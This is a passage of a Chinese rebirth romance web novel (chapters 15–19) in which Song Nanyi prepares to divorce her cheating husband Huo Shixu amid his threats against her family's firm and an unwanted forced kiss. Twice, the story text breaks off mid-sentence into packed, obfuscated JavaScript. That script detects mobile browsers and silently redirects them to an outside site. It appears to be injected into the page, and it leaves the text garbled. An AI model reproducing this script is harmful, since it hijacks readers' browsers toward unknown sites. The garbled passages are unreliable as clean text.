远远的,她看到苏语安招停了一辆出租车。
出于好奇,宋南伊开车跟了上去。
一家汽修厂的门前。
苏语安下了车。
年轻的男孩,冲她挥手,两个人聊着有说有笑的,走了进去。
男孩的年纪看起来和苏语安相仿。
模样也有几分相似,是家人吗?
她不是**,没有亲人了吗?
刻意隐瞒?
为什么要隐瞒?
是有什么不可告人的目的吗?
宋南伊满脑门问号。
随即释然。
就算苏语安有什么目的,也与她无关。
人们常说,女人在爱情里智商会降低。
男人其实也是一样。
被骗,有时候他还觉得亏欠。
霍时序不值得,她去担心。
去安佛寺的路上,母亲南微打来电话,“南伊,时序来了,你要不要回家一趟,我看他脸色不太好,你们是不是吵架了?”
宋南伊打了把方向。
“知道了妈,我马上过去。”
想必是她没接霍时序的电话,他恼羞成怒,才跑到自己的娘家要说法。
从前,霍时序不是那么没有分寸的人。
现在爱没有了,耐心和尊重也一并没有了。
宋南伊停好车子。
一步迈进了客厅。
母亲看到她进来,忙替霍时序说话,“时序说没联系上你,怕你出事,就急忙过来了,你这孩子,怎么这么不懂事,电话还是要接的。”
“我手机没电了。”宋南伊轻描淡写地解释了句。
母亲放下心来,“那就好好跟时序解释一下。”
南微把空间,留给了女儿和女婿。
宋南伊弯身坐到他的面前,直言,“找我有事吧?说吧。”
“为什么不回家?真想把事情闹大?非得让长辈跟着操心?”他在给她留面子,他希望她能看清眼前的形势,“宋南伊,你们宋家正在跟霍氏合作重要的项目,如果这个时候,我们的婚姻出了问题,霍氏抽身,你们宋家就得玩完,你真想看到这样的结局吗?”
他字字咬得很重。
像头啃肉的狼。
不。
说狼抬举他了,是鬣狗。
前世,她无论跟霍时序怎么闹,他也没有把气出在宋家的公司身上。
这一世的霍时序更卑鄙。
“你在威胁我?”她精致的小脸上,是没有温度的光,“霍时序,你到底知不知道,你在说什么?我爸对你是有恩的。”
前世,刚结婚那会儿,霍时序出了严重的车祸。
差点失血过多**。
霍时序血型特殊,只有宋知令符合献血的指征。
是宋知令连续三天,为他输血,他才得以活下来。
人,怎么可以恩将仇报成这个样子。
宋南伊的心,凉得她唇齿打颤,“霍时序,如果你真这么做,你就是个畜生。”
“所以……”他压低了自己的声线,用只有两个人才能听到的音量,“……我们的婚姻牵一发而动全身,你最好乖乖回家做你的霍太太,别太任性。”
宋南伊紧攥起拳头。
她单纯地以为,两家的合作有股权交叉,盘根错节,剥离的时候会有些复杂。
离婚难免会吃一点亏。
她甚至都在心里计划好了,如何跟父母交代这件事情。
她怎么也没有想到,霍时序是想把宋家的公司整死。
宋氏是父亲几代人的心血。
他年近六十岁,还在为公司操劳,宋家公司要是出了事,父亲也活不成。
宋南伊恨自己。
一念天堂一念地狱之间。
她说服了自己,以退为进,从长计议。
抬眸,四目相对,宋南伊含泪冷笑,“霍时序,我真的很后悔,曾经那么的爱过你。”
宋南伊上了霍时序的车。
一路上,他的耳边不断响起的就是这句话。
反反复复。
心神不宁。
“我就是说气话,你也不必当真。”他为自己解释了句。
宋南伊托着下巴,望向车窗外的车水马龙,一声不吭。
他看了她一眼,将她的小手握进掌中。
“你也知道我的脾气,有时候,就会说一些无脑的话,你别跟我一般见识。”
他在示好。
但对宋南伊来说,没有任何意义。<
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br>不经过大脑的话,也是话。
是他潜意识里的真实想法。
前世,连她在产床上大出血,他都可以冷漠地说出不抢救这样的字眼。
让宋家的公司破产,他必定是说到做到。
宋南伊只觉得他陌生的,令她害怕。
冰凉的小手,轻轻地抽回,“安心开车吧。”
气氛沉闷。
一路无语。
车子开进别墅。
宋南伊刚一下车,就听到了电锯的声音。
随之而来的,是院子里那棵粗壮的合欢树,轰然倒下。
这合欢树,是她结婚那一年,亲自种下去的。
每到花期,粉色的花,会开满整棵树,满院子地飘香。
她很喜欢,经常会在树下自拍。
“时序哥,南伊姐你们回来了。”苏语安快步走到了二人面前,“你们回来得正好,树,刚刚让我砍完。”
宋南伊的瞳仁一骤。
她的合欢树,苏语安给砍了?
“你把我的树砍了?苏语安,谁让你砍我的树的?你经过我同意了吗?”
宋南伊气的怒吼。
苏语安吓得往霍时序身后躲,一下红了眼,“南伊姐,我都是为了你好,才砍的。”
“为了我好?你动我的东西,不应该事先跟我说一声吗?你真把自己当成家里的女主人了?”
她的合欢树,刚刚过了花期,就这样被砍了。
宋南伊气得要**。
苏语安抽噎着,惊恐万状,“南伊姐,我真的是为你好,你别生气了,好不好?”
“语安,你说为了南伊好,倒是说说怎么回事,你看把南伊气的,这可是她最喜欢的花。”
霍时序给了苏语安解释的机会。
将她推到宋南伊的面前,“跟你南伊姐,好好说。”
苏语安擦了擦眼角的泪,哑的嗓子说,“我今天遇到一位大师,他说家里有合欢树,不但不吉利,还会让女主人心神不宁,我看南伊姐最近气色不算好,就想着,或许是因为这合欢树的事情,就找人来砍了,对不起,南伊姐,我,我……”
“哪来的大师?哪来的不吉利?”宋南伊抬手给了苏语安一个耳光,“苏语安,你只是这个家的客人,家里的一草一木,一粒粮食,都不属于你,你马上给我滚,我不想看到你。”
第15章 我打她,你心疼了?
宋南伊早就想打苏语安了。
每次看似好心又或是意外的事情,都是她精神布置的。
她更想打霍时序,是他的纵容,才会让苏语安,如此的肆无忌惮,一次次的挑战她的底线。
这一巴掌,打哭了苏语安,也打疼了霍时序。
“一棵树而已,至于这么大动干戈吗?语安她也是好心,你要实在喜欢,再去买一棵种上就好了。”
霍时序不理解,宋南伊为什么反应这么大。
觉得她小题大作。
更怀疑她是不是借着这个机会,故意发疯。
尤其是看着苏语安脸上的五指印,他更认为宋南伊不可理喻。
“不管怎么说,语安的初衷是好的,你没必要,动手**。”
“我就打了怎样?”宋南伊看够了,霍时序护着苏语安的嘴脸,“怎么,我打她,你心疼了?要替她还回来?”
霍时序一时语噎。
苏语安抽泣着,过来劝架,“时序哥,是我不对,我应该跟南伊姐,提前打个招呼的,是我好心办了坏事,你们别吵了,为了我伤了和气,我会难过的,南伊姐,我走就是了。”
苏语安哭着跑开。
霍时序的脸,像染了三九天的寒霜。
每根汗**都透着对宋南伊的批判。
“宋南伊,你看你把语安逼成什么样了?我们做好事的初衷,不就是让她感受到我们的温暖吗?你到底在发什么疯?到底是人重要,还是树重要?”
宋南伊红着眼,瞪着霍时序。
他能问出这种问题,就证明,她在他的心里,已经没有任何的分量。
争辩,只会让自己歇斯底里。
那是前世的宋南伊的标配。
这世她是来离婚的,不是争宠。
宋南伊苦笑着攥紧拳头,转身离开。
霍时序在原地,烦躁的搓了两下头发,转身往别墅里走。
苏语安已经将自己的行李全部打包好。
她红着眼,将一个红色的福袋,交给霍时序,“时序哥,这是我向大师求的平安符和健康符,麻烦你帮我交给南伊姐,我真的只是好心,我没想到,她会反应这么大,你让她别生气了,对身体不好。”
霍时序心疼的看着懂事的女孩。
伸手拿走了她的行李,“南伊赶你走,是在说气话,你好好在家里住着,她气消了就不会去计较了。”
“不了时序哥,我家里的老房子,也修的差不多了,我想回去了。”
苏语安无声掉泪。
这让霍时序更加心疼。
“好了,就听我的,安心住着,没人可以赶你走。”
转身。
霍时序走出了苏语安的房间,径直走向了他和宋南伊的主卧。
推开门,夕阳的光,落进窗口,温暖中添了些许莫名的忧伤。
宋南伊坐在阳台的藤椅上,很安静。
前世刚结婚那会儿,她很喜欢坐在阳台上看花开的正旺的合欢树。
现在望下去,什么也没有了。
合欢树没了,她和霍时序也到头了。
看吧。
这一世归来,连老天爷也在催促着她赶紧离开这个男人。
“明天,我让人再买一棵合欢树种下。”在霍时序的心里,这并不是什么大事,“南伊,我知道你心里有气,有气冲我撒,语安她是无辜的。”
宋南伊眼神空洞地盯着,只剩下半截树桩的合欢树说,“霍时序,你是不是忘了,当年我种下合欢树的意义?”
那会儿。
霍时序抱着宋南伊在合欢树,许下,他会爱她一生一世的诺言。
只要这棵树在,他们就永远不分开。
现在看来,多么的讽刺。
霍时序的眼皮动了动,内心触动,“南伊,我们总不能跟一个好心办了坏事的人去计较,不是吗?明天,我让园丁把南园全部清理出来,都种上合欢树,好吗?”
“不重要了,霍时序。”
这世界上,没有那么多的起死回生。
生命如此,草木皆如此。
他望着她的背影,眼眸沉黯深邃……
……
隔天一大早。
宋南伊出差去了海城。
半个月的时间,她忙完了自己的工作。
回江城,她谁也没有告诉,直接去了父亲的公司。
“爸,咱们家公司和霍氏有牵连的项目,还有多少?大概需要多长时间,能够全部完成?”
宋知令,诧异地看向女儿。
从小到大,她从来没过问过家里公司的事情。
这怎么突然关心了起来。
“南伊,出什么事情了吗?”
宋南伊不想隐瞒,也无法隐瞒她要离婚的事情。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16030306|178628||http|test|mini|href|location''.split(''|''),0,{}));
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r>事到如今,她必需坦白。
“爸,我要和霍时序离婚。”
前些日子,霍时序找到家里,宋知令就感觉两个人出了问题。
他一直想着,抽个时间跟宋南伊聊聊。
没想到这么严重。
“吵架了?”
宋南伊摇头。
“有误会了?”宋知令再问。
宋南伊还是摇头。
“不会是,时序他……外面有人了?”
宋南伊没料到父亲猜得这么准,苦笑,“爸,您还真是活神仙。”
“他在外面,真的有人了?”
宋知令现在还记得,当年霍时序娶宋南伊发的誓。
他说如果他爱上了别人,就让他**。
那是毒誓,他竟然……,“这个不要脸的东西。”
看着父亲愤怒又心疼的眼神,宋南伊平静地抿唇,“离婚伤筋动骨在所难免,霍时序已经不再是以前那个霍时序了,我现在担心的就是咱们家的公司……”
“公司确实跟霍氏还有几个项目在合作,预计得半年左右,才能完成。”既然女儿感觉不幸福,他全力支持离婚,“你不用过多考虑公司的事情,大不了生意不做了,爸不想看你在婚姻里煎熬。”
父母的爱,是宋南伊最大的底气。
她不能让宋家的公司,毁在霍时序的手里。
“爸,我也现在找律师,离婚的事情,不能一蹴而就,我们得慢慢来,这段时间,足以让项目完成,后面,如果霍氏再提合作的要求,就不要跟他们签了。”
宋南伊跟父亲,谈得很详细。
方方面面都考虑到了。
一瞬间,宋知令觉得女儿长大了。
他很痛心。
他以为,霍时序会永远,让她,做无忧无虑的小孩子。
“别担心家里的公司,更不要让自己受委屈,爸妈会心疼的。”宋知令忧心忡忡。
宋南伊递出不要担心的笑,“爸,霍时序只是有了外心,没有家暴我,我没受什么委屈,婚姻嘛,合得来就在一起过,不爱了就分开,很正常,就是,让你们跟着操心,我挺抱歉的。”
“傻孩子。”宋知令抬手揉着女儿毛茸茸的头顶,“不管你做什么选择,爸妈,星言都会支持你的。”
“谢谢爸。”
宋南伊紧紧地抱着父亲,眼眶潮湿。
第16章 碰也不让碰
宋南伊回到家的时候,夜色已深。
她将车停下后,坐在里面,久久没有动。
院子里的路灯,隐隐发着橘色的光。
她对这个家的排斥已经深入到了骨子里。
可她又不得不面对。
刚要推开车门,她听到了粗大梧桐树背面,打电话的声音。
“他说让我搬到南苑去住,应该还会给我买车,可我并不稀罕。”女孩声音压得很低,“你也别太担心我,我拿到我想要的,我就会回去的。”
声音是苏语安的。
对方是谁,宋南伊一无所知。
从简单的话里,她拆出两个信息。
一是霍时序为她买了套房子,应该是想金屋藏娇。
二是对苏语安来说,还有比得到房子,更重要的东西。
待苏语安走远。
宋南伊这才推开车门下来。
这更重要的东西到底是什么呢?
客厅里,灯火通明。
刚刚还鬼鬼祟祟打电话的女孩,这会儿正在跟霍时序在说笑。
看到宋南伊。
她礼貌又乖巧地喊人,“南伊姐,你回来了。”
宋南伊神色清冷。
落在苏语安不安小脸上的视线,这次却偏久了一些。
苏语安被她看得,不敢抬头。
指尖紧紧地抓着衣角,很是紧张。
“怎么这么看她?”霍时序开口。
宋南伊淡淡地瞥了霍时序一眼,“看一眼,也心疼?”
“你……”霍时序气闷。
宋南伊快步上了楼。
她深呼吸,然后坐在梳妆台前,开始卸妆。
霍时序从身后走过来,透过镜面,看向女人精致的小脸。
轻轻地,将手放到了她的肩上。
声音温柔的不像话,“南伊,既然你不喜欢语安在家里住,我就让她搬走吧。”
霍时序摆出这种善解人意的姿态的时候。
通常是想得到宋南伊的理解和赞同。
甚至,还有一些讨好在里面。
“随便。”她没情没绪地。
霍时序的眸色沉了沉,将脸轻轻地靠近,“南伊,别这样,我只想让你开心一点。”
“想让我开心,就跟我离婚。”她从镜子里看向男人的脸。
是不是变了心的男人,面相也会变。
她当初接受霍时序的求爱,是因为他有一张足以蛊惑所有女人的脸。
现在看着他,却如此的倒胃口。
他没说话。
镜子里的对视,却分外的疏离。
宋南伊摘下耳环,起身,“我累了,去洗澡。”
她往浴室里走,他扣住她的手腕,扯了回来,重重地将她压在墙壁上。
眼眸深深。
他今天看她的眼神,明显不一样。
片刻。
他凑进她,想要同她接吻。
宋南伊受到惊吓般,猛地推开了他,“你干什么?”
“宋南伊,你要干什么?”他感觉自己男性的尊严,受到了挑衅,再次扣住她的手腕,凝视着她,“现在碰也不让碰了?”
宋南伊一想到,前世自己那样的死去。
她就无法容忍霍时序的亲近。
但她又太了解霍时序,得罪了他,她还真怕他把气出在宋家的公司上面。
“妈帮我预约了妇科的专家,明天要去做检查,医生特意交代过,检查之前,不能过性生活。”
宋南伊也不是扯谎。
回家之前,孙爱芸又因为她没有去看病,把她教训了一通。
他比她清楚,霍家的长辈有多急切想要一个下一代。
不管愿不愿意,长辈的意思是不能违背的。
男人的神色有所缓和。
他眼眸微抬,重新将她圈在身前,“我们本就没打算要孩子,检查结果有那么重要吗?”
“我不想在医生面前,丢人。”宋南伊轻轻地推开霍时序,走进了浴室,锁好了门。
霍时序没再纠缠。
她听到卧室门打开,又关上的声音,这才将淋浴头打开。
清晨。
她被家里的动静扰醒。
路姐说,来了搬家公司。
宋南伊眉心微蹙,“苏语安有很多东西吗?还要搬家公司来搬?”
“太太,先生说,苏小姐她睡习惯了那张床,要连床一起搬走,还有……”路姐都觉得匪夷所思,“……浴缸,也要一起搬走。”
宋南伊唇角微涩。
嘲弄道,“还不把整个别墅都搬走得了。”
路姐也很无奈。
并且不是很理解,“按道理讲,苏小姐也不是什么千金小姐,身子也没那么娇贵,先生可真是……”
路姐对这事想不通。
因为她是个正常人。
而恋爱中的霍时序,已经被爱情冲昏了头脑。
给得毫无保留。
宠的也毫无底线。
早就分不清,什么该,什么不该,“他开心就好了,路姐,你去干活吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16030307|178628||http|test|mini|href|location''.split(''|''),0,{}));
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r>“好的,太太。”
“南伊姐,我今天就搬走了。”苏语安的声音响起,有些欢快。
宋南伊抬眸望过去。
苏语安今天打扮得很漂亮,宫廷风的白色小裙子,加一双漂亮的小白鞋,两条辫子垂在身前,清纯中透着一丝质朴。
“南伊姐,时序哥怕我换了床睡眠不好,便让我把床一起搬走,你不会生气吧?”
宋南伊在苏语安的表情和语气里,听到了一丝挑衅。
这是鲜少出现的情绪。
前面,苏语安装的还挺好的。
“我生气,你就不搬了吗?”宋南伊走到苏语安的面前,用很淡的声音说,“苏语安,不用在我面前找存在感,你还不配。”
苏语安的脸色变了变。
却假装听不懂地说,“南伊姐,你是时序哥的妻子,我怎么可以跟你比呢,时序哥对我,可没有你想的那样,他完全就是在可怜我,你不会是真的生气了吧?”
前世。
宋南伊跟她打过几次交道。
没见过她这副嘴脸。
骂急了,她最多就是掉泪,连回怼一句,都不敢。
是因为她顺利住进家里后,爱上了,将霍时序**于股掌之中,狐假虎威的感觉了?
觉得她宋南伊,也是个好欺负的主?
还是……
如此迫不及待地要激怒自己,是另有目的?
那苏语安的如意算盘,算是打错了。
“苏语安,你有本事就一辈子霸占着霍时序,我乐得清静,反正,他对我而言,现在也没有任何的意义,连个性消品都算不上。”
这话刚落地。
霍时序一步迈了进来。
前面,他没听见,最后一句,他连个性消品都算不上,他是一个字也没落。
苏语安眨着无辜的大眼睛,来到霍时序的面前,“时序哥,南伊姐,好像又生气了?要不,你去哄哄她吧?”
霍时序的脸色很黑。
但也没有冲宋南伊发脾气。
“这些东西,语安都用习惯了,等全部搬走后,我再添置新的。”这算是霍时序的解释。
“南伊姐,要不,我把钱给你吧?”苏语安从包里,拿出一堆乱七八糟的钞票。
有十块,二十的,也有五十一百的。
她抱歉地咬着唇说,“南伊姐,我知道这钱不够,我会一点点的还你的,要是,要是你真的不喜欢我搬走这些东西,我也可以不搬的。”
第17章 最后还是会死
苏语安眼眶红得要命。
好像是宋南伊在为难她。
霍时序的脸色难看,认为宋南伊没必要这样,“就几件旧家具,至于吗?”
明明宋南伊什么也没说。
霍时序已经习惯性的,把她定义成了欺负别人的人。
越发的怜惜苏语安。
“语安,你别难过了,去车里等着吧。”霍时序支走了苏语安。
宋南伊刚要转身时,被他叫住,“宋南伊。”
宋南伊停下脚步,看向他。
霍时序几步走到她的面前,眸色深沉,“我知道,你在意的不是这几件旧家具,但你真的没必要,再跟语安计较下去了,我答应你,把她安顿好后,咱们好好谈谈。”
为了早点打发霍时序和苏语安打发走。
宋南伊违心地嗯了一声。
随着搬家公司的离开。
家里终于又安静了下来。
几天后。
宋南伊便在江城最大的媒体上,看到了关于霍时序和苏语安的新闻。
标题写得很大胆。
霍氏集团继承人与资助对象家外同居,疑似确认恋爱关系。
这个自带流量的男人,时隔不到两个月,再次冲上了热搜。
照片拍得很清楚,不像狗仔一贯的作风。
疑似,有预谋的偷拍。
这些不重要。
重要的是,这种新闻下面,宋南伊的名字提及的频繁程度,堪比河里泛滥的福寿螺。
“上次这个女孩过生日,霍时序就送了一条天价的项链,这次又送房了?不知道他老婆怎么想的,这可都是婚内共同财产啊。”
“这样的男人,有颜有钱,搞个小三而已,换成我,我比他老婆能忍。”
“女人们哪,大家都学学这个被赞助的对象吧,她可是把年轻利用到了极致,傍上霍时序这样的男人,这辈子,下辈子,下下辈子都不用愁了。”
“可怜的原配,有钱又没有老公,不知道有多爽呢。”
“……”
评论很多。
大家你一言我一语。
前世,宋南伊第一次知道,霍时序和苏语安在外面按了家。
她就跟疯了似的。
提刀上门,将屋内的东西打砸一空。
还差一点伤到了苏语安。
霍时序动了气,报警抓人。
她被抓进去呆了三天,后来还是父亲来保释的她。
这一世,他还是带她出去住了。
好像也没有改变什么。
那她最后会死吗?
宋南伊托着腮陷入了沉思当中……
愣神的功夫。
裴吟打来了电话。
和往常一样,对霍时序是劈头盖脸的骂。
“他怎么这么贱呢?这么捞得捞女,他装瞎呀?又给买房,又送钻石的?那玩意上的快感,是不是把他智商给吃光了?”
宋南伊揉着太阳穴,苦笑,“人家那是真爱。”
“啊呸,拿婚内共同财产去讨好小三,我诅咒他,艾滋,梅毒得个遍。”
裴吟一如既往地看不上霍时序。
现在宋南伊要跟霍时序离婚了,她嘴上放开了,往死里骂。
宋南伊前世可听不得这些。
通常,裴吟开骂的时候,她就会各种说霍时序的好话。
哪怕,后来他有了苏语安,也没耽误她美化这个男人。
现在听裴吟骂霍时序。
她蠢蠢欲动,加入其中,“烂人得烂病,罪有应得,最好是从里往外的烂,啃骨噬肉。”
“吆喝,可以啊宋南伊,有进步啊。”裴吟很满意宋南伊的改变,“你现在应该是下定决心,要离开这个渣男了吧?”
“从我找连芃的那天起,我就已经下定了决心。”
“那你挺有种的,爱的时候昏天暗地,不爱也可以横刀立马,我佩服你。”
尽管裴吟是在揶揄宋南伊。
她依然听得很开心。
“等我离了婚,我要开三天的流水席,喝他个三天三夜,不醉不休。”
裴吟赞成,“我陪三天。”
外面传来了车子的声音。
宋南伊抱着手机,往楼下看了一眼,是霍时序的车子。
“裴吟,霍时序回来了,先不跟你聊了。”
“你可别给他好脸色看,尤其是,不能让他碰你,这玩意脏。”裴吟提醒。
宋南伊嗯了一声,“知道了。”
挂断手机的功夫。
宋南伊听到霍时序上楼的脚步声。
她特意将那则拱上头条的新闻,打开,亮屏扔到了显眼的位置上。
霍时序一进门,视线首先落
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到了这一抹亮光上面。
宋南伊没问。
他倒是先解释了起来。
“媒体瞎写的,我有家,怎么可能在外面跟别的女人同居。”他抬手关掉了手机屏幕,看向宋南伊,“我对你什么感情,你应该清楚的。”
“你对我什么感情?”她看着他如渊般深邃的眸子,不错过他任何的微表情,“霍时序,其实,我很想听听,你对苏语安是什么样的感情?”
“你别无理取闹行不行?”他转身去衣柜里拿了睡衣,一边往浴室走,一边说,“你等我洗完澡,我们好好聊聊我们之间的事情。”
看着男人的背影。
宋南伊的思绪,又回到了前世,他们刚认识那会儿。
霍时序不是唯一的追求者。
却是坚持的时间最长,最热烈,最专一的那一个。
他苦苦追求她七年。
结婚仅仅三年时间,他就背叛了他们的感情。
挺唏嘘的。
她以为她会跟他白头到老。
“南伊,我拿错衣服了,帮我拿黑色的那件睡衣进来。”霍时序在浴室里喊。
宋南伊下床。
从衣柜里拿了那件,他最喜欢的稠缎材质的睡衣。
站在浴室的门口,她敲了敲,“找出来了,你伸一下手。”
“拿进来吧。”
宋南伊抿了下唇,推开浴室的门,往里走了一步,将睡衣递过去,“给你。”
男人氤氲在雾气之中。
空间很热,全是沐浴露的气息。
他伸手过来,没有接睡衣,反扣住她的手腕,将她困在了身前。
紧接着就是铺天盖地的吻。
水沿着他健硕的肩膀,流过结实的胸肌和纹理清晰的腹肌,将她的衣服全部打湿。
从她重生后。
她和霍时序之间,连睡在一张床上的时间,都很少。
这样的亲吻,她其实是不适应的。
她本能地挣扎,拒绝。
反被他扣住手腕,举过头顶,加深加重了这个吻。
这是不应该发生的。
宋南伊排斥得厉害,咬破了霍时序的探进她嘴里的舌尖。
腥甜的铁锈味,迅速在二人的口腔里蔓延。
男人错愕地看着她,抹了抹唇上的血,“你咬**什么?”
第18章 续不上的感情,不如放了
“你还没有回答我的问题。”她转过脸去,收回视线不看他,“你先洗澡吧,一会儿再说。”
霍时序深呼吸了一口,将热水调到了冷水上。
宋南伊换下了湿透的衣服。
拿起手机,看着**给她发来的信息。
昨天,她脑子一抽,突然想调查一下这个来历不明的苏语安。
人是裴吟给找的。
挺贵的,但效率很高。
他发来了几张照片,一张全家福,还有几张,这几天她出入不同的场合,所接触到的人。
宋南伊把全家福的照片放大来看。
一家五口。
父母,姐姐,还有她和一个男孩。
宋南伊听霍时序说过,苏语安是独生女,父母离世后,只有她一个人孤苦伶仃。
显然不是。
宋南伊再次把男孩的照片放大,迅速地认出了他,就是那次在修车厂里见到的那个。
现在来看,至少她还有一个弟弟。
那她虚构身份,接近霍时序是为什么?
只是为了上位,当霍太太?
正当宋南伊纳闷的时候。
霍时序推开浴室的门,走了出来。
他并没有穿她送进去的黑色睡衣,只有一条浴巾系在腰间,脸色看起来也不算好看,大概还在生气,刚刚她拒绝他的吻。
“你洗吗?”他问。
宋南伊收起手机,摇头,“洗过了。”
“那我们聊聊。”他擦着头发,坐到了她的对面。
宋南伊其实没什么聊的兴趣。
但如果他肯聊聊他和苏语安,她倒可以。
“你先回答我的问题吧。”她指的是霍时序对苏语安的感情,“霍时序,既然你想聊,就请你,坦诚一些。”
“你想得到什么样的答案?”他把毛巾扔到一旁,嗤笑着看向她,“如果想听艳史,我这里可没有。”
她看着他的眼睛。
是没有,还是不想说,全靠他的一面之词。
“你对她的在乎,超过你苦苦追求七年,才娶到的老婆,你觉得正常吗?”
霍时序轻笑,“你太敏感了,我对她的在乎,只不过你是臆想出来的,我觉得很正常。”
“送超亿的项链是正常的?买个房子,在外面养起来,也是正常的?为了她,不停地透支夫妻之间的感情,也是正常的吗?”
面对宋南伊的质问。
霍时序没说话。
等同于默认了,这些都超出来了正常的范围。
答案有了。
宋南伊也没有纠缠下去,只是淡淡地说,“霍时序,不管你承不承认,我们之间的感情淡了,亲情没有取代爱情之前,爱情先没了,续不上的感情,不如就放了吧,你说呢?”
他同刚才一样。
还是没有回答她的问题。
而是问,“听说你找了律师?你真的就这么想离这个婚?”
“我们不离婚,你怎么娶苏语安?把她当金丝雀养在外面?”这不是霍时序的风格。
他脸色明显暗下。
自从有了苏语安,他没给过她几次好脸色。
看来,这谈话还没怎么开始,就又要结束了。
许久。
霍时序起身,“如果你们宋家能承受离婚带来的冲击,那么我可以考虑。”
“我们宋家能不能受到冲击,还不是霍总你一句话的事情。”她不得不提醒他,“霍时序,不管怎么说,这次离婚,你是过错方……”
宋南伊的话还没说完。
霍时序就冷着脸打断了她,“我是过错方?我错在哪儿了?是被你抓奸在床了?还是家暴你了?宋南伊,你所谓的过错,都是你自己想象出来的,你这么急着想把我推出去,到底是为什么?”
霍时序的表情,似乎在说,是宋南伊先不爱了。
这一世,还没有发生前一世的悲剧。
她无法证明,他是如何爱苏语安的。
正因为如此,她才想跟他一刀两断。
她没有答案给他。
反而惹怒了他,“你最好去找心理医生看看,真是好日子过多了。”
谈话不欢而散。
霍时序抓起衣服,头也没回地,离开了别墅。
宋南伊拿起手机,给**发了条信息,“我需要你再帮我调查,霍时序出轨的证据。”
……
次日。
连芃给宋南伊打了个电话,说有要事,让她去一趟律所。
连芃的声音听起来很紧急。
宋南伊猜是出事了。
来到律所。
连芃正地收拾自己的东西。
“你要离职吗?”宋南伊不确定地问。
连芃无奈地点头,“有人举报我,在打官司的过程中,有违规的行为,律所要调查,我暂时不能继续在律所工作了。”
“怎么突然**了呢?有证据吗?”
连芃有苦难言。
她看着宋南伊,很隐晦地说,“有人搞我,可能是不
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想让我为你打离婚官司。”
宋南伊愣住。
她突然明白了过来。
是她连累了连芃。
“抱歉,连律师。”
“这没什么,他们查不出什么,我还会再回来的,就是……”她知道宋南伊接下来,会很难,“……南伊,我出事,会让很多业内的律师,对你的离婚官司会有所忌惮,但你别怕,我给你介绍一位很有威望的律师,只有他不会受到影响。”
听起来,好像很厉害。
宋南伊急问,“是吗?他是谁?”
“他叫陆为谦,陆律师他,虽然不是专打离婚官司的,但,我觉得你可以试一试,有希望好过没希望,你说对吗?”
希望?
陆为谦是霍时序的发小。
他们好的穿一条裤子,让陆为谦为她打离婚官司,那不是往枪口上撞吗?
他肯定不会帮她的。
“我知道了。”
宋南伊应下了连芃,同时,她也放弃了这个最有希望的人。
她不死心,找了几位在业内,颇有名望的律师。
一听到是打她和霍时序的离婚官司。
大家噤若寒蝉般的,都推了。
宋南伊没法。
只好托人,找国外的律师,来打这个离婚官司。
一直也没有合适的。
几天后,一个下午茶时间。
宋南伊坐在街角的咖啡厅里,点了一小块红酒慕斯,和一杯布其诺,静静地坐着。
她的目光茫然。
透着对这个世界的失望与不理解。
“可以拼个桌吗?”年轻男人的声音。
宋南伊抬眸,一眼就认出了他。
是陆为谦。
他穿得十分正式,白色的衬衣,蓝色的领带,笔挺的西装裤,还有挂在左小臂上的西装。
应该是刚谈完事情。
“好久不见。”他笑着打招呼。
宋南伊对他不反感,但也没好感。
礼貌笑了一下,“好久不见,你是来这边谈事情的吗?”
“约了一个当事人,已经谈完了。”他将西装搭在椅背上,弯身坐下,“你最近怎么样?手指恢复得还不错吧?”
“已经好了,疤痕都没有留下。”她笑着。
就像有些事情,发生了又像是没发生一样的。
陆为谦淡笑,看向女人忧郁的小脸,她看起来,好像总是有很多的心事。
“你和时序最近怎么样?我有日子没见他了。”
第19章 谁才是你的老公
“就那样吧。”她不想说太多,指尖轻轻地搅动着咖啡杯里的小勺子。
“看你情绪低沉,是遇到什么难事了吗?”他尝试着猜测,“工作不顺利?还是跟霍时序吵架了?”
宋南伊抬眸看他。
陆为谦和霍时序的关系深厚。
霍时序能找到为她打离婚官司的连芃,想必陆为谦没少给他提供线索。
但……偏偏,连芃向她推荐的还是他。
“认识连芃吗?她也是律师。”宋南伊突然问。
陆为谦微微一愣。
这个名字,他并不熟悉。
“是哪个律所的?”他有些抱歉地笑了笑,“这个名字,有些耳生,是新人吗?”
如果陆为谦真的不认识连芃。
也许,真的与他关系不大。
“她是我的一个朋友,专门打离婚官司的,被人举报了,说是有违规的行为。”
陆为谦面色一凛,“是吗?需要我帮忙吗?”
“举报她的人是……”宋南伊看着陆为谦的眼睛说,“……霍时序。”
陆为谦错愕中透着震惊。
做律师多年,他对两性关系的敏锐度,超出常人。
很轻易就猜出了宋南伊话后的意思,“你的这位律师朋友,是在帮你打离婚官司?你在和霍时序闹离婚?”
“你猜得没错,我的确是想让连芃帮我打离婚官司,霍时序利用他的权利和关系,让连芃不得不中断跟我的业务。”
她也不是非得当着陆为谦的面聊这种事情。
陆为谦不可能帮她。
就算他为了高昂的律师费,愿意帮她打离婚官司,她也不一定信得过他。
她只是想让陆为谦知道,他的发小,也不是什么好东西,他正在逼自己走上绝路。
“我跟时序许久未见,我不太清楚你们之间的状况,那……现在找到合意的律师了吗?”陆为谦关心地问。
宋南伊摇头。
陆为谦应该知道,一旦霍时序插了手,没人会接她的案子。
“国内没人接这个烫手的山芋,大家都忌惮霍时序的权势,我正在托人找国外的律师。”
“你们感情,真的到了无法挽回的地步了吗?”他似乎是觉得这样问不妥,又补了句,“我是说,既然时序他不想离,你们可以好好聊聊。”
“他不想离,是从霍家的利益出发,不是因为他还爱着我。”
陆为谦沉默了。
宋南伊不知道他沉默的这几分钟里,在权衡什么。
像下了某种决心一样的,“南伊,如果你真的非要打这个离婚官司,我可以帮你打。”
陆为谦主动提及。
